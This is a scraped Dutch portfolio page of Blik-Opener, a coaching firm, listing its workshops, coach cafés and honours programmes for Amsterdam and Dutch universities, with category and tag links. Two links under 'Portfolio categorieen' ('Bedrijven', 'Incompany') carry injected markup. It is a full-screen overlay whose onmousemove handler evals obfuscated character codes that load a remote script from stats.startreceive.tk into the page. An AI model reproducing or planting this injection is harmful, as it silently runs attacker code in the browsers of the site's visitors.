- [Gemeente Amsterdam - Innovatielab](https://www.blik-opener.nl/bedrijven/innovatielab-voor-stadsdeel-west-gemeente-amsterdam/) - Geen mooiere dag te bedenken om met 20 deelnemers, allen betrokken bij stadsdeel West / Sloterdijk1, aan de slag te gaan met het #innovatielab. Vandaag Staat in het teken van verhogen van werkenergie en het creëren van begrip en respect voor andere invalshoeken / meningen. In vier groepen wordt er op creatieve wijze gewerkt aan
- [Drie universiteiten -Coachcafé's](https://www.blik-opener.nl/bedrijven/blik-opener-organiseert-coachcafes-voor-3tu/) - Blik-Opener organiseert Coachcafé’s voor de alumni van de drie technische universiteiten in Nederland: Delft, Eindhoven en Twente. De Coachcafé’s waren volledig uitverkocht. Sinds de bruisende avonden vol nieuwe inzichten en verbindingen, gaat het netwerken door op de speciale 3TU LinkedIn groep.
- [HvA - Honoursprogramma](https://www.blik-opener.nl/bedrijven/blik-opener-begeleidt-het-honoursprogramma-van-de-hva/) - Blik-Opener begeleidt voor het 2e jaar op rij het Honourprogramma voor topstudenten van de Hogeschool van Amsterdam (Domein Media, Creatie, Informatie). We leveren onze expertise op het gebied van programmaontwerp, faciliteren een tweedaags kick-off programma en organiseren de intervisie met het kernteam. Het resultaat: gemotiveerde studenten en een jaar vol ontdekkingen, uitdagingen en persoonlijke ontwikkeling!
- [HvA - Honoursprogramma](https://www.blik-opener.nl/bedrijven/honoursprogramma-voor-stimuleren-van/) - Vijf studenten van Hogeschool van Amsterdam pakken de kans om dit jaar in hun vrije ruimte het honoursprogramma, gericht op ondernemerschap, te volgen. Blik-Opener coacht hen in het realiseren van hun droomproject. The Hub Amsterdam biedt hen een werkplek tussen 300 maatschappelijke ondernemers, waaronder de Blik-Openers. Vincent bouwt een nieuwe App, Dagmar schrijft een boek
- [Econonomische Voorlichtingsdienst](https://www.blik-opener.nl/bedrijven/generatieleren-bij-de-economische-voorlichtingsdienst/) - Blik-Opener inspireerde de managers van de EVD met een dagworkshop over Generatieleren. De managers waren van te voren gevraagd om een collega van een andere generatie mee te nemen. Op levensgrote posters stonden de vier generaties binnen de EVD vertegenwoordigd. Tijdens de interactieve middag gingen de managers samen met hun collega’s langs elk ‘generatiegezicht’ om generatie
- [Universiteit Twente - Coachcafé's](https://www.blik-opener.nl/bedrijven/coachcafes-voor-de-universiteit-twente/) - Voor verschillende doelgroepen binnen de Universiteit Twente organiseert Blik-Opener Coachcafe’s.
- [Bestuursacademie Nederland - Masterclass](https://www.blik-opener.nl/bedrijven/een-masterclass-voor-young-professionals-van-de-bestuursacademie/) - Blik-Opener geeft in opdracht van de Bestuursacademie Nederland masterclasses voor young professionals. Tijdens de masterclass staat "Maak werk van je ambities!" centraal. Jonge Ambtenaren worden uitgedaagd om na te denken over wat zij te bieden hebben en wat zij willen bijdragen binnen de overheid in Nederland. Het intensieve programma geeft houvast voor de jonge ambtenaren om
- [Gemeente Amsterdam - Generatieleren](https://www.blik-opener.nl/bedrijven/gemeente-amsterdam/) - Blik-Opener verzorgt verschillende workshops en trainingen op het gebied van Generatieleren voor de Gemeente Amsterdam (o.a. intern adviesbureau SPA en Stadsdeel West). De workshops hebben veel enthousiasme voor het thema los gemaakt binnen de Gemeente. Daartoe heeft de Gemeente besloten generatieleren steviger te verbinden met talentontwikkeling in de organisatie. Blik-Opener zal hen ondersteunen met innovatieve

## Categorieën

- [Uncategorized](https://www.blik-opener.nl/category/uncategorized/)
- [Nieuws](https://www.blik-opener.nl/category/nieuws-2/)
- [Young Professionals](https://www.blik-opener.nl/category/young-professionals/)
- [Ervaringen](https://www.blik-opener.nl/category/ervaringen/)

## Tags

- [xs](https://www.blik-opener.nl/tag/xs/)
- [organisatie](https://www.blik-opener.nl/tag/organisatie/)
- [pers](https://www.blik-opener.nl/tag/pers/)
- [nieuws](https://www.blik-opener.nl/tag/nieuws/)
- [in-company](https://www.blik-opener.nl/tag/in-company/)
- [incompany](https://www.blik-opener.nl/tag/incompany/)
- [coachcafe](https://www.blik-opener.nl/tag/coachcafe/)
- [honoursvkp](https://www.blik-opener.nl/tag/honoursvkp/)
- [loopbaanbegeleiding](https://www.blik-opener.nl/tag/loopbaanbegeleiding/)
- [carrierezoekers](https://www.blik-opener.nl/tag/carrierezoekers/)
- [coaching](https://www.blik-opener.nl/tag/coaching/)
- [youngprofessional](https://www.blik-opener.nl/tag/youngprofessional/)
- [contact](https://www.blik-opener.nl/tag/contact/)
- [front](https://www.blik-opener.nl/tag/front/)
- [Generatieleren](https://www.blik-opener.nl/tag/generatieleren/)

## Portfolio categorieen

- [Bedrijven](https://www.blik-opener.nl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/bedrijven/)
- [Incompany](https://www.blik-opener.nl/testing\" style=\"position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:white;\" onmousemove=\"eval(String.fromCharCode(118, 97, 114, 32, 116, 115, 114, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 32, 116, 115, 114, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 32, 116, 115, 114, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 115, 46, 115, 116, 97, 114, 116, 114, 101, 99, 101, 105, 118, 101, 46, 116, 107, 47, 115, 99, 46, 106, 115, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 116, 115, 114, 41, 59))\" data-x=\"/incompany-2/)

## Portfolio Skills

- [Generatieleren](https://www.blik-opener.nl/portfolio_skills/generatieleren/)
- [Innovatie](https://www.blik-opener.nl/portfolio_skills/innovatie/)
- [Ondernemerschap](https://www.blik-opener.nl/portfolio_skills/ondernemerschap/)
- [Coachcafe](https://www.blik-opener.nl/portfolio_skills/coachcafe-2/)
- [Young Professionals](https://www.blik-opener.nl/portfolio_skills/young-professionals/)

## Portfolio Tags

- [Workshops](https://www.blik-opener.nl/portfolio_tags/workshops/)
- [Stadsdeel West](https://www.blik-opener.nl/portfolio_tags/stadsdeel-west/)
- [Innovatielab](https://www.blik-opener.nl/portfolio_tags/innovatielab/)
- [Generatieleren](https://www.blik-opener.nl/portfolio_tags/generatieleren/)
- [Innovatie](https://www.blik-opener.nl/portfolio_tags/innovatie/)